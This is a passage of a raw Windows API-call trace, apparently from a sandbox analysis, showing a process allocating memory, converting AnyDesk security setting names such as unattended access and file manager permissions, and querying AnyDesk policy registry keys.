0x196f3a0 [0283.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e090, cbMultiByte=-1, lpWideCharStr=0x196f3a0, cchWideChar=23 | out: lpWideCharStr="ad.security.hear_audio") returned 23 [0283.264] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f448 [0283.264] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f480 [0283.264] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bd68 [0283.264] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f4b8 [0283.265] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f480 | out: hHeap=0x1930000) returned 1 [0283.267] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f3a0 | out: hHeap=0x1930000) returned 1 [0283.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e0a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0283.268] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x197b350 [0283.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e0a8, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=26 | out: lpWideCharStr="ad.security.control_input") returned 26 [0283.268] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x19904d8 [0283.268] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1990518 [0283.268] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bd48 [0283.268] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1990558 [0283.268] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990518 | out: hHeap=0x1930000) returned 1 [0283.269] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e0c4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0283.269] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x197b350 [0283.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e0c4, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=25 | out: lpWideCharStr="ad.security.sync_clipbrd") returned 25 [0283.269] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990518 [0283.269] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990598 [0283.269] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961540 [0283.269] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x19905d8 [0283.270] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990598 | out: hHeap=0x1930000) returned 1 [0283.270] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e0e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0283.270] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x197b350 [0283.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e0e0, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=28 | out: lpWideCharStr="ad.security.clipboard.files") returned 28 [0283.270] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990598 [0283.270] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990618 [0283.270] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961560 [0283.270] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990658 [0283.270] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990618 | out: hHeap=0x1930000) returned 1 [0283.271] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e0fc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.271] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f3a0 [0283.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e0fc, cbMultiByte=-1, lpWideCharStr=0x196f3a0, cchWideChar=24 | out: lpWideCharStr="ad.security.block_input") returned 24 [0283.271] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f480 [0283.271] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f4f0 [0283.271] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961580 [0283.271] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f528 [0283.271] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f4f0 | out: hHeap=0x1930000) returned 1 [0283.272] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f3a0 | out: hHeap=0x1930000) returned 1 [0283.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e114, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0283.272] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961c60 [0283.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e114, cbMultiByte=-1, lpWideCharStr=0x1961c60, cchWideChar=20 | out: lpWideCharStr="ad.security.restart") returned 20 [0283.272] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961c90 [0283.272] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961cc0 [0283.272] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19615a0 [0283.272] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961cf0 [0283.272] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961cc0 | out: hHeap=0x1930000) returned 1 [0283.272] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c60 | out: hHeap=0x1930000) returned 1 [0283.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e128, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0283.272] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x197b350 [0283.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e128, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=25 | out: lpWideCharStr="ad.security.file_manager") returned 25 [0283.272] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990618 [0283.272] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990698 [0283.273] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19615c0 [0283.273] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x19906d8 [0283.273] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990698 | out: hHeap=0x1930000) returned 1 [0283.273] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e144, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0283.273] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x197b350 [0283.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e144, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=25 | out: lpWideCharStr="ad.security.lock_account") returned 25 [0283.273] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990698 [0283.273] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990718 [0283.273] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19615e0 [0283.273] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990758 [0283.274] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990718 | out: hHeap=0x1930000) returned 1 [0283.274] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e160, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0283.274] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961c60 [0283.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e160, cbMultiByte=-1, lpWideCharStr=0x1961c60, cchWideChar=20 | out: lpWideCharStr="ad.security.sysinfo") returned 20 [0283.274] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961cc0 [0283.274] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961d20 [0283.274] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961600 [0283.274] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961d50 [0283.275] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961d20 | out: hHeap=0x1930000) returned 1 [0283.275] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c60 | out: hHeap=0x1930000) returned 1 [0283.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e174, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.275] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f3a0 [0283.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e174, cbMultiByte=-1, lpWideCharStr=0x196f3a0, cchWideChar=23 | out: lpWideCharStr="ad.security.whiteboard") returned 23 [0283.275] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f4f0 [0283.275] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f560 [0283.275] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961620 [0283.275] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f598 [0283.275] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f560 | out: hHeap=0x1930000) returned 1 [0283.276] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f3a0 | out: hHeap=0x1930000) returned 1 [0283.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e18c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.276] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f3a0 [0283.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e18c, cbMultiByte=-1, lpWideCharStr=0x196f3a0, cchWideChar=23 | out: lpWideCharStr="ad.security.tcp_tunnel") returned 23 [0283.276] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f560 [0283.276] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f5d0 [0283.276] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961640 [0283.276] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f608 [0283.276] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f5d0 | out: hHeap=0x1930000) returned 1 [0283.277] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f3a0 | out: hHeap=0x1930000) returned 1 [0283.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e1a4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.277] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973088 [0283.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e1a4, cbMultiByte=-1, lpWideCharStr=0x1973088, cchWideChar=16 | out: lpWideCharStr="ad.security.vpn") returned 16 [0283.277] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973010 [0283.277] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19730b0 [0283.277] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961660 [0283.277] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19730d8 [0283.277] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19730b0 | out: hHeap=0x1930000) returned 1 [0283.278] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973088 | out: hHeap=0x1930000) returned 1 [0283.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e1b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0283.278] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x197b350 [0283.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e1b4, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=25 | out: lpWideCharStr="ad.security.user_pointer") returned 25 [0283.278] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990718 [0283.278] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990798 [0283.278] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961680 [0283.278] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x19907d8 [0283.278] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990798 | out: hHeap=0x1930000) returned 1 [0283.278] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e1d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0283.278] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x197b350 [0283.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e1d0, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=28 | out: lpWideCharStr="ad.security.privacy_feature") returned 28 [0283.278] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990798 [0283.279] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990818 [0283.279] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19616a0 [0283.279] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990858 [0283.279] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990818 | out: hHeap=0x1930000) returned 1 [0283.279] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e1ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0283.279] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x197b350 [0283.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e1ec, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=27 | out: lpWideCharStr="ad.security.record_session") returned 27 [0283.279] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990818 [0283.279] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990898 [0283.279] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19616c0 [0283.279] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x19908d8 [0283.280] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990898 | out: hHeap=0x1930000) returned 1 [0283.280] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe0c14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.280] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f3a0 [0283.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe0c14, cbMultiByte=-1, lpWideCharStr=0x196f3a0, cchWideChar=23 | out: lpWideCharStr="ad.features.unattended") returned 23 [0283.280] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f5d0 [0283.281] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f640 [0283.281] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19616e0 [0283.281] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f678 [0283.281] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f640 | out: hHeap=0x1930000) returned 1 [0283.282] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f3a0 | out: hHeap=0x1930000) returned 1 [0283.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e208, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0283.282] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x70) returned 0x197f868 [0283.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e208, cbMultiByte=-1, lpWideCharStr=0x197f868, cchWideChar=56 | out: lpWideCharStr="ad.security.permission_profiles.enable_previous_session") returned 56 [0283.282] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x70) returned 0x197f8e0 [0283.282] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x70) returned 0x197f958 [0283.282] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961700 [0283.282] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x70) returned 0x197f9d0 [0283.282] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f958 | out: hHeap=0x1930000) returned 1 [0283.283] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f868 | out: hHeap=0x1930000) returned 1 [0283.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0283.283] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x66) returned 0x1980390 [0283.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf08, cbMultiByte=-1, lpWideCharStr=0x1980390, cchWideChar=51 | out: lpWideCharStr="ad.security.permission_profiles.address_to_profile") returned 51 [0283.283] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x66) returned 0x1980da0 [0283.283] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x66) returned 0x1980e10 [0283.283] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.283] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x66) returned 0x1980e80 [0283.283] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961720 [0283.283] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x66) returned 0x1980ef0 [0283.284] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1980e80 | out: hHeap=0x1930000) returned 1 [0283.284] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1980da0 | out: hHeap=0x1930000) returned 1 [0283.284] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eeb0 [0283.284] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1980390 | out: hHeap=0x1930000) returned 1 [0283.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e240, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0283.285] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975d80 [0283.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e240, cbMultiByte=-1, lpWideCharStr=0x1975d80, cchWideChar=43 | out: lpWideCharStr="ad.security.permission_profiles.invitation") returned 43 [0283.285] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975ea0 [0283.285] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975f00 [0283.285] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eea0 [0283.285] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975f60 [0283.285] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961740 [0283.285] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975fc0 [0283.285] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975f60 | out: hHeap=0x1930000) returned 1 [0283.286] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975ea0 | out: hHeap=0x1930000) returned 1 [0283.286] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196ee90 [0283.286] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975d80 | out: hHeap=0x1930000) returned 1 [0283.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e26c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0283.286] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198bb08 [0283.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e26c, cbMultiByte=-1, lpWideCharStr=0x198bb08, cchWideChar=33 | out: lpWideCharStr="ad.security.permission_profiles.") returned 33 [0283.286] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c0a8 [0283.286] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961760 [0283.286] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c198 [0283.287] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c0a8 | out: hHeap=0x1930000) returned 1 [0283.287] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198bb08 | out: hHeap=0x1930000) returned 1 [0283.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ecf4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0283.287] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x1961780 [0283.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ecf4, cbMultiByte=-1, lpWideCharStr=0x1961780, cchWideChar=9 | out: lpWideCharStr="_default") returned 9 [0283.288] GetLastError () returned 0xb7 [0283.288] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.version", lpReserved=0x0, lpType=0x12d4d30, lpData=0x0, lpcbData=0x12d4d34*=0x0 | out: lpType=0x12d4d30*=0x0, lpData=0x0, lpcbData=0x12d4d34*=0x0) returned 0x6 [0283.288] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4d5c | out: phkResult=0x12d4d5c*=0x0) returned 0x2 [0283.289] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c0a8 | out: hHeap=0x1930000) returned 1 [0283.289] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971990 | out: hHeap=0x1930000) returned 1 [0283.289] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971990 [0283.289] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719a0 | out: hHeap=0x1930000) returned 1 [0283.289] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971990 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c1e8 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962e00 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971970 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976140 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962de0 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971870 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976080 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971860 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1980fd0 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962dc0 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee80 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1980e80 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197fac0 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962da0 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f958 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19625e8 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962d80 | out: hHeap=0x1930000) returned 1 [0283.290] HeapFree (in: hHeap=0x1930000, 